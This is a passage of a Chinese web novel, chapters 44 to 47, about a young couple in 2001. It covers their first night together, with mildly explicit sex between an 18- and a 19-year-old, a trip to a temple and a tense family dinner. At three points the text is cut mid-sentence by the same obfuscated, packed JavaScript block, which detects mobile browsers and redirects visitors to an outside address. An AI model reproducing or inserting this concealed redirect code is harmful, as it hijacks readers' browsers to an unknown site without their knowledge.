易阁弯起嘴角轻蔑地笑了下,随手将外套脱下来递给昌灵,而后自然而然拿起她的抿过一口的酒杯说:“我干了,你喝不了就随意,别勉强。” 44. 2001 昌灵连自己的酒量深浅都不清楚,更何况易阁。但看他一副来者不拒、胸有成竹的模样便也没有多加阻拦,只提醒他身体刚好别喝太多。易阁说放心,他自己心里有数。 “你有什么数啊。”昌灵小声抱怨着把易阁‘昏迷不醒’的脑袋摆正靠在自己肩膀上,怕他呼吸不畅,还将车窗降了一些透气。 车内是酒精混着烟草的味道。出租车开得很平稳,司机从后视镜里对上她的眼睛,叹了口气:“小姐,他要是想吐的话你喊我停车好吧?别吐在车上。” 昌灵嗯了声,低头摸摸易阁的脸,很烫,但没有苏醒的迹象。 都说酒品即人品,她见过稍微沾点儿酒就敢随便调戏助教的顾客,也见过陌生人在后巷吐到昏天黑地的狼狈模样。没想到易阁清醒的时候话少,喝多了更是极端的沉默,一路歪歪扭扭一言不发地爬上出租车,闭上眼睛就睡觉。 倒是省心。 昏黄的路灯一盏盏消失在视线之后,习习凉风吹散了空气中的水雾,车内播放着她听不懂的粤语歌。昌灵只喝了半杯酒,却觉得此刻难得清明。 曾经易阁在学校家属楼的房间里也有很多磁带。 前段时间电台播报西北多地突降暴雪,山道崎岖往返不便,困住了许多回家探亲的人。她将新闻转述易阁时笑着感叹雁山终年无雪,却见他眼底转瞬即逝的担忧和思念。 对家乡,易阁还是有感情的。 重感情是好事,昌灵想。 她抿了抿嘴,悄悄将手扣进易阁掌心里,十指交缠,严丝合缝。现在这样就很好。 到达目的地还是司机帮忙把人架出来倚靠在电线杆上,确定易阁能站稳后他才松开手,问:“兄弟,还能走吗?” 昌灵瞧他半睁开眼睛不回话,但好像是清醒的。 “应该没问题。”她说,“谢谢您,麻烦了。” 司机摆摆手:“那行,注意安全啊。” 昌灵替易阁将棉袄的拉链拉到顶端,又将胳膊搭在自己肩膀上:“走吧?” 半晌易阁迟钝地看了她一眼,而后乖乖跟着她的脚步往家走。 一高一低的影子拉得很长。 昌灵问他:“你是不是有点想家了?” 易阁闻言偏过头,眉头微蹙,像是没听懂她在说什么。 这副慢半拍的模样很有意思,昌灵忍不住笑道:“你喝完酒怎么傻乎乎的。” ‘傻乎乎’易阁听懂了。片刻后他缓慢地摇了下头,声音很轻地说:“不喝了。” “我还以为你多能喝呢。跟那些人又不熟,家旺哥也在,你干嘛逞强呀。” 易阁说:“得喝。” “为什么?这也要面子?” 易阁还是说:“得喝。” 行,脑子都不转了还得喝呢。 昌灵费了九牛二虎之力才把人运上三楼。看得出来易阁本人还是挺想配合她的,无奈腿脚不太听使唤,眼神儿也有问题,一个台阶得迈三回才能踩实了,燥得昌灵脊背发热。 推开家门一把将人扔在床上,昌灵长舒一口气,弯腰拍拍他的脸:“易阁?把衣服脱了再睡。” 易阁哼唧了句什么抱着被子就要睡过去。 “……”捆这么多衣服能睡舒服吗? 昌灵无法,只得亲自动手扒了外套外裤,还剩件套头毛衣她实在无能为力,一不小心再把易阁勒死就不好了。 按理说解酒是该喝点蜂蜜水的,但家里没有,昌灵退而求其次倒了杯白开水放在床头,易阁要是醒了伸手就能够得到。收拾好了眼前这位她还得去洗个澡,沾染了一身的烟酒气属实不太好闻。 冬天的热水器加热得慢,等待的时间里昌灵一连调了几个电台都没有好听的频道。周遭安静的不像话,她又想,其实多出来的钱买个电视也挺好。 衣服晾在阳台还没来得及收,昌灵找完换洗的衣物随手叠完收好,进浴室前还看了下易阁,依旧维持着原先的姿势睡得很香。 她将头发高高绑好,温热的水淋在身上倍感舒适,昌灵喟叹一声靠在瓷砖墙上,又觉得如果家里有个大浴缸也很好,可以舒舒服服泡个澡。 折腾这一晚上也够累的。她快速冲完澡一门心思想着赶紧钻进被窝里去睡觉,谁成想刚拉开门就跟墙边的‘鬼影’撞了个正着。 “啊!”昌灵毫无防备惊叫出声。 只见易阁身着背心短裤门神似的杵在阴影里,听见声音掀起眼皮睨了她一眼,眼神算不上清醒。 “我靠……”昌灵的心脏砰砰直跳,半晌她有气无力地说道:“大哥,人吓人是会吓死人的。” 易阁不说话。 昌灵见状将人往外推了推:“你怎么起来了?上厕所?” 易阁反应了一会儿,说起来洗澡。 “洗澡?”昌灵无语,“你这样洗什么澡。” 喝醉的易阁有自己的倔强,重复道:“要洗澡。” “……” 双方僵持不下,易阁自己不想动,昌灵也推不动他。片刻后她举手投降:“你真能洗?” 易阁:“能洗。” “行。”昌灵点点头,转身回去给他调好了水温,说:“你洗吧,我去睡了。” 易阁毫不客气地将她推出了卫生间。 说是要睡觉,但一个半醒不醒的醉鬼正在给自己洗澡,这事放在谁身上也很难睡得着。卫生间的水流声就没断过,昌灵竖着耳朵听了十五分钟觉得哪里不对劲,起身敲了敲卫生间的门: “易阁,你洗好了吗?” 无人回答。 “易阁?”昌灵加大力度又敲了两下,依旧无人回答。 她就不该相信醉鬼能自己洗澡的鬼话! “易阁,你再不说话我进去了? “我真进去了啊?” 昌灵不多犹豫打开卫生间的门,迎面扑来的热气蒸得她眼晕。嚯,这是调到多高的水温了,不知道的还以为他在浴室杀鸡拔毛呢。 “易阁?” 昌灵揉揉眼睛朝里看过去,待她看清眼前是怎样一副场景后猛地扭开脸,速度之快导致脖颈的骨节发出嘎嘣的不满声。 “嘶…”这都是什么事儿啊。 易阁此人,确实是在洗澡没错,不过洗到哪步就不好说了。反正他现在整条人不着寸缕地蹲在花洒下,双眼紧闭,不知道是睡过去了还是热晕过去了。 衣服扔了满地。 昌灵哪里见过这种场面,看也不是,不看……不看也不能让他在这呆一晚上吧。她手足无措地摸了摸自己发热的耳垂,片刻后扯过易阁的毛巾咬着牙朝他走过去,视线都不知道该落在哪里。 摸索着关掉花洒又强忍着羞耻心用毛巾盖住了易阁的下半身后才蓦然松了口气。一通操作下来昌灵的耐心已然告罄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535039|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她当即反手贴了易阁一巴掌:“醒醒哎。” 易阁很给面子地悠悠转醒,神情迷茫地看着她。 昌灵觉得头痛:“还能不能站起来?” “……” 看来是不能。 “你真是会折腾人。” 昌灵愁到五官都皱在一起,上下严肃地打量了一下他的身体,衣服是穿不上了,就,光着出去? 算了,她决定暂时放弃自己的羞耻心。 “我把你扶起来可以吧?” 易阁不说话就权当他同意了。 昌灵尝试着一只手托住他的后颈,另一只手环抱住他的腰用力往上提,想将易阁上半身的重量尽数转移到自己的肩膀上。易阁吃痛挣扎了下,偏过头半阖着眼睛,沙哑着叫了声:“昌灵?” “嗯?”昌灵闻声垂下眼睫,“醒了?” 她身体向后和易阁拉开了一点距离,对上他的目光,问:“怎么样,你还好吧?” 还好吗? 易阁混沌了一晚上的意识此刻才稍稍清明,嘴里嘀咕着“我怎么在这里”。 昌灵:“你别管那么多了,先起来吧。” 易阁点点头,借着昌灵的胳膊使力往上起——腿间的毛巾骤然掉了下去。 二人一齐低头向下看。 “……” “……” 昌灵有点想死了。 “你既然醒了就自己洗吧我先出去了。”说完她转身就走,刚迈步就被人从身后拦腰抱住,后背蓦地撞在坚实的胸膛上。 ! 易阁原本没有什么别的想法,纯粹手比脑子快,想抱就抱了。但结结实实将人抱在怀里后,从前压抑在心底的欲望却陡然急升。 他仰起头闭了闭眼睛,手臂越勒越紧。 昌灵先是觉得心跳加速,后又觉得呼吸不畅,耳膜被咚咚的心跳声震得发疼,分不清是谁的心跳。 可她没有躲。 “昌灵。”易阁的嗓音掺杂了她不曾听过的喑哑,低声问她:“行不行?” 昌灵张嘴咬住了下唇。 易阁的身体没擦干,水珠浸湿了她的薄衫,滚烫的体温毫无顾忌地度过来,欲望烧着了昌灵绯红的脸,烧断了理智的引线。 易阁垂头用鼻尖轻轻蹭了蹭她的侧脸,又问了一遍:“行不行?” “……” 昌灵偏过头不想回答。 耳边响起了易阁一声短笑,他右手上移覆在她的心口上,同时不停啄吻她白皙的脖颈。 昌灵的身体不受控制地颤/栗。 听不到她的回答,易阁似乎还是不满意。她察觉到一处湿热软滑沿着她的肩线来来回回移动,轻柔又黏腻,留下片片暧昧的水迹。 那触感还在上移。 昌灵被迫仰起头,露出脆弱的咽喉。 易阁的双唇紧贴她的肌肤,喘/息渐重。 “昌灵,我想要。” 昌灵闻言手指忽地收紧,指甲几乎嵌进易阁的手臂里,片刻后她小声问:“这样会不会怀孕?” 易阁满意地勾了勾嘴角,弯腰将人打横抱起。昌灵惊呼一声,下意识搂住对方的脖颈。 一报还一报,昌灵被人扔到床上的瞬间突然想道。 易阁紧随其后撑在她的身体上方,语气充斥着急切和安抚: “我买了,在床头柜里。” 45. 2001 昌灵其实很想问问他是什么时候买的那些……用品,但易阁急切地撩开她的衣摆俯身压过来,将唇舌和未出口的话语一并撷了过去。 昌灵下意识闭上眼睛,不想内心的紧张和期待都无处遁形。 易阁掌心干燥,肆意游走在终日衣物包裹下的躯体,所到之处无一不带起阵阵颤栗。 昌灵忍不住想,这太超过了。 他们先前只有过蜻蜓点水般的两个吻,还都是自己主动,事后易阁也没有什么特殊的反应,更没有回吻。让她一度觉得易阁是个没有世俗欲望的人。 ——现下看来真是大错特错了。 昌灵不懂如何换气,在激烈凶猛又不得章法的战斗中很快败下阵来,她双手抵在易阁的胸口,挣扎着将自己解救出来。 易阁顺势贴在她的耳后,用气声问:“扣怎么解?” 昌灵撇开脸不回答,易阁也没追问,直接采用最简单粗/暴的方法,连带薄衫一起推了上去,满园春色都暴露在空气里。 湿热交织。 温度节节攀升。 眼睛看不见,听觉就愈发明显,抽屉开合、塑封摩擦的声音都无限放大,昌灵知道易阁正在注视着她。 看什么看啊…… 易阁眼眸幽深,胸膛不住地起伏,心里充斥着说不出的紧张和兴奋。他从前只看过些零零碎碎的碟片,因为拍得近乎肉搏,毫无美感,让人没有认真欣赏的欲望。 眼下真到了实战环节,他也有些无从下手,只能凭借天赋。 好在昌灵愿意配合,手、腿都任他反反复复试探摆弄。 “疼就告诉我。”易阁沉声说。 先前一直不肯睁眼的女孩儿闻言掀起眼皮嗔了他一眼,声音很轻:“我又不怕疼。” 好得很。 这在易阁看来完全是挑衅。他舌尖顶了顶腮,指尖勾住了昌灵胯骨上最后一块柔软布料,顺滑地褪了下去。 月亮在头顶摇晃。 今夜没人觉得冷。 ***** 易阁套上短裤收拾了地上几个打结的一次性用品,扯下没法睡觉的床单丢进洗衣机(只是很纯情的换个床单而已,没有任何特指),把两杯晾好的温水喂进昌灵嘴巴里。 她嗓子干哑,靠在一旁裹着被单昏昏欲睡。 新床单铺得很快,易阁轻手轻脚将人小心翼翼抱回去,和先前的样子判若两人。 昌灵闭着眼睛笑了下,翻身滚进温暖的怀抱里,枕着他的手臂。 易阁将人搂紧,问:“难受吗?” 昌灵说:“还可以。” “……我可能有点喝多了,手没轻重,对不起。” 冲澡时他才看清昌灵身上青青紫紫的痕迹,在白皙的肌肤上格外刺眼。 “没事。”昌灵不以为意,床上的事有什么好道歉的。她抬手摸摸易阁的脸,“看着吓人而已,其实没什么感觉。” 易阁拉过她的手腕亲了亲,“下次我轻点?” 昌灵想了想,小声说不要。 嬉笑片刻后二人一同沉沉睡去。 窗外的阴晴风雨影响不了一室的温馨安宁,黑夜里的一隅电灯每天都会照常亮起。 ** 陈家旺带回来的‘女朋友’梁津颖不只是女朋友,还是港城小有名气的纹身师。 严格来说还是陈家旺的师姐。 昌灵围着上下两层都空荡荡的店面转了一圈,神色担忧地问他:“一开始就要租这么大的房子吗?” 陈家旺正对着手里众多广告单挑选优质皮沙发,闻言抬头看向她:“怎么,担心我交不起房租?” 昌灵摊摊手,确实是这个意思。 “那,我还是有点自知之明的。”陈家旺笑笑,“靠我肯定是交不起啦,但津颖可以。” “津颖姐真这么厉害?那为什么要跑这么远来给你赚钱,港城赚得不够多吗?” 陈家旺一本正经:“因为爱情。” “……” 昌灵:我不信。 但陈家旺不说,她也懒得刨根问底,换了话题说:“这店还得装修吧,钱谁出?” “我呗,装修钱还是有的。”陈家旺大手一挥,“再说这墙都是新刮的腻子,我就买买家具布置布置,其他设备都是现成的,没多少钱。” 昌灵点点头:“祝你成功。” 陈家旺抬手跟她击了个掌,片刻后问道:“你跟易阁哪天走来着,去几天?” “就三天。”昌灵想起来这件事就觉得讨厌。 出门旅行的事她计划了好长一段时间,比对着地图和杂志仔仔细细安排了一连串游玩地点。临出发前几天易阁才告诉她,原本说好的七天假请不下来了,最近单位太忙,只能给三天。 计划直接被拦腰砍一半。 陈家旺哪壶不开提哪壶,说:“三天能玩好吗。” 昌灵撇撇嘴:“那我能有什么办法。” “看开点,在单位干活儿就是这样的。”陈家旺好心安慰,“三天也有三天的玩法嘛,你挑几个最想去的地方。” 昌灵还想再说什么,恰巧梁津颖推门进来,打断了两个人的交谈。 “津颖姐,你来了。”昌灵面露微笑跟她打招呼。 “啊……”梁津颖身形一顿,“妹妹也在啊。” “今天休班,过来看看。” 陈家旺还沉浸在各种沙发里眼花缭乱,头也没抬。 梁津颖瞄了他一眼,随后笑着说:“我过来给家旺送午饭,妹妹吃了吗,要不留下一起吃吧?” 陈家旺:“没吃呢,一起吧。” “不用了。”昌灵说着弯腰抓起背包,“我一会儿还有点事先走了,你们俩好好吃。” 梁津颖:“那行。” 陈家旺:“什么事啊?” “不告诉你,走了啊。”昌灵随口编的借口,哪能想出来什么事。 “我送送你吧。”梁津颖客气道。 “不用,你们吃饭吧,拜。” “拜拜。”陈家旺跟她挥挥手。 目送昌灵走远,梁津颖一把夺过陈家旺手里的广告单坐到他面前:“她怎么来了,你们两个刚才干什么呢?” “……”陈家旺向后抓了抓头发,“过来看看我租的店面,有什么问题?” “专挑我不在的时候来?” 陈家旺嗤笑一声:“那是我妹妹,你在想什么东西啊?我就算再混球也没混到拖着妹妹上床的地步吧,更何况在这种地方。” 梁津颖:“可她又不是你亲表妹。” “我说是就是。” 眼见着陈家旺的神情愈发不耐烦,梁津颖放软了语气:“你别生气,我就是有点担心。” “担心什么?” “我从那个女人身边抢走你,以后会不会有人再从我的身边把你抢走呢?” 陈家旺:“我是什么人你不是早就知道吗。” “……” “咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535040|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们两个就好好开店赚钱,钱有了什么没有啊。”说完他又换回平日吊儿郎当的神情,点点广告单,“你看看喜欢哪个沙发?” ** 第二次和易阁一起坐火车,心境却和从前大相径庭。 因为时间有限,所以他们没去太远的地方。 两个人的衣服收在同一个旅行包里,被易阁安放在头顶的行李架上。 他弯腰摸摸昌灵的脸,温热,又试了试窗户是否漏风,问道:“靠窗冷不冷,要不要换到里面坐?” 昌灵说不冷,拍拍椅面示意他坐下。易阁将将坐好,她便抿着嘴凑上来:“让你在这么忙的时候请假陪我出来玩,你会不会很辛苦,觉得我不懂事?” 语气倒是没有半点不好意思。 易阁失笑,片刻后说:“不会,是我自己想出来玩。” 昌灵很满意:“那好吧,我就勉为其难陪陪你。” “谢谢。”易阁拉过她的手攥在掌心里。 窗外嫩绿丛生,轻风追着云朵跑,蝴蝶停在树枝上。 春光正好。 下了火车将行李放回宾馆,昌灵马不停蹄拉着易阁前往他们此行第一个目的地:同事姐姐说的那个求签很灵的寺庙。 易阁看她迫不及待的模样有点好奇,“你是有什么要求的吗?” 昌灵神神秘秘地说:“不告诉你。” “你说出来,我帮你实现。”易阁说,“没必要求他们。” 昌灵闻言笑出声来,弯着眼睛扑进他怀里。 易阁被她扑得后退一小步:“什么意思?你不信?” “信信信。”昌灵哄小孩似的连连点头,“可我还是想试试嘛,万一是个好签呢?” 易阁:还是不信。 双方僵持不下,最后只能兵分两路,易阁去找财神的方位,昌灵一个人进了姻缘殿。 求姻缘的大多都是和她年纪相仿的女孩。 其实昌灵是不信这些的,这次到这里来,也不过是为了得到一个好签。如果可以,最好覆盖掉她之前的记忆。 昌灵学着其他人的样子跪在蒲团上拜了三拜,在心里虔诚地问出了那个她非常想知道的问题: 「我能不能一直和他在一起?」 拜完她起身深吸一口气,缓缓走到签筒旁,摇了又摇。 啪。啪。 昌灵垂眸看过去,掉出来两根签,都是背面。 “这怎么算?”她问签筒前的僧人。 “二选一。” 昌灵了然,毫不犹豫地翻开了手边的签面——上上签。 她骤然松了口气把签放回桶里,“谢谢您。” 僧人微微颔首,待香客走远后,将另一根上上签也放了回去。 门口石阶下,易阁正在跟一个中年人说话。昌灵三两步跳到他身边:“怎么了?” “这是你对象吧?郎才女貌啊。”中年人说,“真的不考虑拍张合照吗?” 昌灵听完来了兴致:“合照?多少钱?” “不贵,保证给你们拍好看了。” 易阁笑着叹了口气,抬臂揽过她的肩膀:“拍吧。” “哎好。”中年人举起相机,“来来来再靠近点儿。” “321——” 相机定格即永恒。这一刻,昌灵歪头靠在易阁身上,亲密无间。 2001年春,一座很灵验的寺庙前,十八岁的昌灵和十九岁的易阁拥有了他们人生中第一张彩色照片。 46. 2001 吃完饭回到宾馆,昌灵始终对这张照片爱不释手。 在她第不知道多少次拿起来看时,易阁忍不住问道:“真这么喜欢?” 昌灵闻言把照片反过来面对着他:“你不喜欢吗?拍得多好看。” 易阁:“人好看。” “确实。”这点昌灵也认同。 “那刚才怎么不多拍两张?” “十块钱一张哎!”昌灵语气夸张道:“我有这个钱干点什么不好。” 易阁笑着摸摸她的头:“你要是喜欢拍照,那我们也买个相机好了。” 昌灵立马拒绝:“不要。” “为什么?” 照相机、大冰箱、电视机……她想要的东西可太多了,但是: “这些都不是最主要的。”昌灵很认真地说:“我们攒钱买个大房子吧,只属于我们两个人。” 易阁怔愣片刻,说:“房子当然要买,但把这些排到房子后面,还不知道要等多久呢。” “这些又不急,先买房子最要紧。” 易阁点点头:“可以,那等回家之后就去看看?” “嗯,虽然咱俩的钱离买房还有很长一段距离,但,提前看看也没坏处嘛是不是?”昌灵仰头看着他,眼睛亮晶晶的。 看得易阁有些心猿意马。 昌灵继续说:“等买了房子,我们还能一起去家具城挑家具,一起装修,想想就觉得很有意思。 “就像现在家里的床,真的太小了,到时候我们买张一米八的怎么样?” 她的嘴巴张张合合,易阁一句也没听清,五秒钟后他决定顺从自己的本心,伸手托住昌灵的后颈用力吻了下去。 “唔——”骤然被人封住了嘴,昌灵吓了一跳。片刻后她偏开头,双手抵在两个人中间,小声抱怨道:“你干嘛,现在是白天呀,我们下午还要出去呢。” 易阁的嘴巴跟着追过来,含住她的嘴唇吮吸,含糊不清地商量说:“就一次,做完再出去。” “我才不信。”昌灵推着他的肩膀,“晚上再……不行吗?” “一次,剩下的晚上。” 什么嘛,昌灵觉得这人简直有病。 易阁:“现在是午休时间,不会耽误下午的事儿,嗯?” “……” 眼见着易阁的手就要伸进来,昌灵无奈地说:“易阁你变了。” 易阁忙着解扣子,闻言头也不抬:“哪变了?” “你以前是很正经的一个人。” “我现在也很正经。”易阁对答如流。 “才不是。”昌灵大声反驳道:“自从咱俩……你现在满脑子都是想着做做做,还老是在些奇怪的地方。” “宾馆很奇怪?” “我不是说这次。” 裤子被他扯下来扔到一侧,易阁忽然说:“我看你买了一张世界地图。” “啊,怎么了?”昌灵不知道他为什么提这个,自顾自地说:“我想我们每去一个地方,就在地图上贴一个五角星,直到把地图贴满为止。” 易阁俯身吻了吻她的脖颈:“我也是这么想的。” ? 昌灵恍恍惚惚被人按在墙壁上来第二次时才蓦然明白了他的话是什么意思。 这个人真是…… ** 下午的行程如昌灵所料,果然还是耽误了,易阁对此十分愧疚,直言他可以补偿。 昌灵白了他一眼,围着被子坐起来:“一会儿等我冲完澡,我们去夜市逛逛?听她们说这里的夜市也很热闹。” 不像雁山,晚上外面都没什么人的。 易阁没意见,说:“要不咱俩一块儿冲澡,节约时间。” “不要!”昌灵头也不回地进了淋浴间,还不忘反手将门锁好。 易阁听着暗含警告的‘咣当’关门声,不禁嘴角上扬,有时候逗逗她也挺好玩的。 他将昌灵的换洗衣物从内到外一一叠好放在门口,方便她出来就能穿上。 夜市人很多,路灯也明亮。和雁山不同的是,这里摆摊的位置都是固定在同一个地方,各品类的摊位都有。 昌灵点了两碗不同的当地特色粉,找了张空闲的小桌子坐好,兴奋地说:“这里跟雁山真的很不一样哎。” 易阁把她挑剩下的粉端到自己面前,问道:“那你更喜欢哪里?” 昌灵想了想,“说不上喜欢吧,只要跟你在一起,在哪里都好。” 易阁低头轻笑。 “那你呢?”昌灵问,“你喜欢雁山吗?” “挺好的,工作、生活、感情,都挺好。” 昌灵闻言往前探了探脑袋,好奇道:“当时从家里出来的时候,你为什么选雁山啊?” “不是我选的,那天路过西乡的火车最远就是到雁山。” 这样啊,昌灵点点头:“那你想不想去大城市?” “没想过,怎么突然问起这个?” 昌灵指指粉摊的老板,“刚才看见他胳膊上的纹身,想起梁津颖就是从港城来的,港城可比雁山繁华多了。” 易阁问:“梁津颖是谁?” “……家旺哥的女朋友啊,她是个纹身师。”昌灵说,“很酷哎。” 易阁没见过梁津颖本人,只听昌灵提过两次。为了陈家旺放弃港城的一切来雁山重新开始,听起来是有点酷。 某种程度上还有点傻。 他不予评价。 “他们的店什么时候开,装修要很久?” 昌灵摇摇头:“估计要不了多久,说是买点家具布置布置就可以。” “那得给他们准备好开业贺礼。” “送花篮不行吗?” “也可以。” 昌灵抿着嘴巴思考片刻,把镯子在桌面上轻轻磕了磕,神情期待:“你想不想纹身啊?” “啊?”易阁抬头看向她。 “你看啊,你送给我一个镯子,我也想送你一个。” “我?”易阁疑惑地皱皱眉,男人带什么镯子啊。 “不是玉镯。”昌灵说,“咱俩可以纹一个情侣手环,你觉得怎么样?” 情侣,手环? 易阁眉头皱得更紧,没听说过。 “就,两个圈纹在手腕上?”他不太理解。 “不是圈,可以让家旺哥他们加点图案在里面嘛。他手上那个虾其实画得还挺传神的,你说呢?” “……你想好了?” 其实没有,昌灵眨眨眼睛,她就是突然想在易阁身上留下点跟自己有关的什么,就像烙印那样。 这样别人一看到,就知道易阁是她的所有物。 “你不想吗?”昌灵不答反问道。 “纹身会很疼,而且洗不掉的。” “我说过了我不怕疼。” 易阁拿她没办法,叹了口气说你再好好想想,考虑清楚了就行,他都听她的。 昌灵看他好像不是很情愿,心绪更加复杂,恨不得明天就拉易阁去纹身店,将自己的名字纹在他身上。 ** 夏天来临之际,陈家旺的纹身店如期开张,名字叫乌合。 乌合刺青。 许多梁津颖的圈内同行、朋友都不远万里过来捧场,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535041|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是给他们介绍了不少附近的客户。 说是这家店全靠梁津颖都不为过。 昌灵站在门口盯着牌子看了一会儿,能想到取乌合之众的‘乌合’二字为名字的人,显然对陈家旺本人有足够深刻的了解。 就是有一种她好像也被骂进去了的感觉。 昌灵无奈地摇摇头,交友不慎呐。 “妹妹?你怎么站在这里不进去?”梁津颖从里面出来恰好碰见她。 “津颖姐。”昌灵笑笑,“我男朋友马上过来,我在门口等等他一起。” “易阁吗,这么长时间,我都还没见过他呢。” “他们单位最近太忙了。” “我知道的。” 二人一起站了片刻,昌灵见她没有要进去的意思,说:“津颖姐你去忙吧,不用管我们。” 梁津颖闻言长舒一口气,悄声说:“不行,应酬这种事还是家旺比较在行,我得出来躲一躲。” 昌灵讶然,还以为她对这种场合游刃有余呢。片刻后她说:“那你跟家旺哥还挺互补的。” “是吧。” 她们之前话都没说过几句,干站在一起稍显尴尬。昌灵思来想去,蓦地想起之前跟易阁讨论过却没有后续的问题,决定问一问梁津颖: “姐,你是纹身师,那你自己身上有吗?” “有。” “你会后悔吗?” “不会啊,自己喜欢的东西为什么要后悔。” “万一呢?”昌灵问。 “走一步看一步咯。图不喜欢了就改,再不行就洗掉,想那么多干嘛,最重要的是活在当下。” 有点道理哦,昌灵眨了眨眼睛,没说话。 “怎么问这个?你想纹身?” 昌灵把自己之前的想法简单告诉了她。 “可以啊,不过手环纹在男人身上不合适,你们可以纹臂环。” 臂环? 梁津颖说:“你们两个可以纹相似的图案,也可以合在一起是一幅整图,看你自己喜欢。” 昌灵眼前一亮:“那我更喜欢一整幅图。” 相似的图有什么意思,单独看的话,别人又不会知道是一对。 “你喜欢什么样的图?”梁津颖说,“我可以免费帮你们画。” “啊?这不好吧。” “有什么不好,你是家旺的妹妹,就是我的亲妹妹呀,一家人嘛。” 昌灵闻言不禁感慨道:“家旺哥命怎么这么好,找到你这么好的女朋友。” 开业事宜忙活了大半天,中午陈家旺和梁津颖忙着招待外地来的朋友,让昌灵和易阁晚上去家里吃饭,陈师傅亲自下厨。 昌灵推三阻四不想去。陈师傅算是易阁的师父,这怎么看怎么像见家长,她有点紧张。 反倒是梁津颖笑着挽住她的胳膊,说她们两个一起见家长多好,还能做个伴。搞得昌灵又不太好意思拒绝,毕竟还要人家免费给画图呢。 傍晚她拉着易阁在超市挑礼品,几个货架之间来回跑。 苦恼道:“陈师傅会喜欢什么呀?阿姨呢?” 易阁见四周无人,抬手捏了捏她的脸,说:“你这么紧张干嘛,又不是没见过。” “那不一样,那是在医院。再说了,我们当时也没说过什么话。” 易阁笑着安慰她,你漂亮可爱,大家都会喜欢你的。再说了,梁津颖才是儿媳妇,两位长辈的注意力会更多地集中在她身上。 提起梁津颖,昌灵顺势把臂环的事告诉了他。 易阁听完沉默片刻,而后认真地说:“我也喜欢一整幅的。” 47. 2001 陈师傅家住在一楼,带着一个小院子,推开院门就是一排排整齐的青菜。透过不锈钢门的栏杆,能看见客厅茶几上白色的碎花桌布。 易阁拍了拍门又重新牵住昌灵的手,扬声喊了句“师父,师母”。 “哎。”陈师傅听见声音匆匆跑出来,围裙都没来得及摘下来,“你们来了,快进来。” 他身后跟着一位气质清雅的中年女士,想来就是陈家旺的母亲。她微微点了下头,态度说不上多热情:“你们来了,这就是灵灵吧。” 昌灵浅浅笑着往前迈了一小步:“师母好,师父好。” “嗯,你们来得正好,饭菜都做得差不多了。” 昌灵点点头,将手里的礼品递给陈师傅。 陈师傅瞧了一眼,故作不满道:“你们来就来吧,买这么多东西干什么。” “我们做晚辈的一点儿心意嘛。” 招呼着换上拖鞋,师母又将沏好的茶水递过来,前前后后搞得昌灵有些手忙脚乱。她本来以为陈家旺的母亲会是那种开明豁达的爽朗性格,不然也不能纵得陈家旺如此不务正业、无法无天。 却没想到居然是这样,端庄又威仪。 “师母,您是做什么工作的呀?”昌灵好奇地问道。 “不用叫师母,我姓李,教高中语文。” 怪不得,就是这种感觉。 昌灵恍然大悟:“李老师。” 同时又忍不住想,那陈家旺能变成现在这副模样完全是‘天赋异禀’。 “陈师傅还在厨房忙什么,要不我去帮帮他吧。”她局促地坐了一会儿,上学的时候就不喜欢跟老师沟通,实在没什么话题可聊。 “不用,小易去吧,让灵灵陪我聊会儿。” 易阁说好,走之前安抚般捏了下她的肩膀。 昌灵:“……” 她举起茶杯象征性喝了一口水,没话找话说:“家旺哥他们怎么还没回来呢。” 李老师像是没听见她的话,片刻后问道:“我听老陈说,你是在台球厅上班的?” “嗯,是的。” “小姑娘在那种地方上班,太不体面,还是趁早换一份工作吧。” 昌灵垂眸眨了下眼,笑着说:“体不体面我没那么在意,能赚到钱就好了。” 被人当面这么说,她其实并不想笑的。 “你们这些年轻人就是不知道轻重。”李老师端起茶杯抿了一口,淡淡地说:“你也是,家旺也是,还有他那个女朋友,更是。 “你们都在小易身边,也没多跟人家学学。” “……” 昌灵闻言掐紧了手指,她有些无话可说。换做跟她年岁相当的同事,还能玩笑似的回敬几句,可这个人偏偏是易阁敬重的人的妻子,又是陈家旺的母亲。 昌灵想,今天就不该来的。 片刻后她弯了弯嘴角,笑意未达眼底:“李老师觉得什么样的工作体面,那我也去找找试试好了。” 李老师叹气道:“可惜你学历也不高,找工作也很麻烦。” 昌灵咬了咬牙,正准备抛弃道德观念回怼过去,只听院门被人推开,陈家旺散着头发一马当先走进来。 “妈。”他懒洋洋喊了一句,“呦,妹妹来啦。” 昌灵勉强笑了下。 “阿姨好,我是梁津颖。”身后的梁津颖大方地自我介绍。 “嗯,坐吧。”自打进门起,李老师连个眼神都没分给过她。 厨房的两个人听见声响走出来,陈师傅很热情:“这就是津颖吧?真是好孩子。” 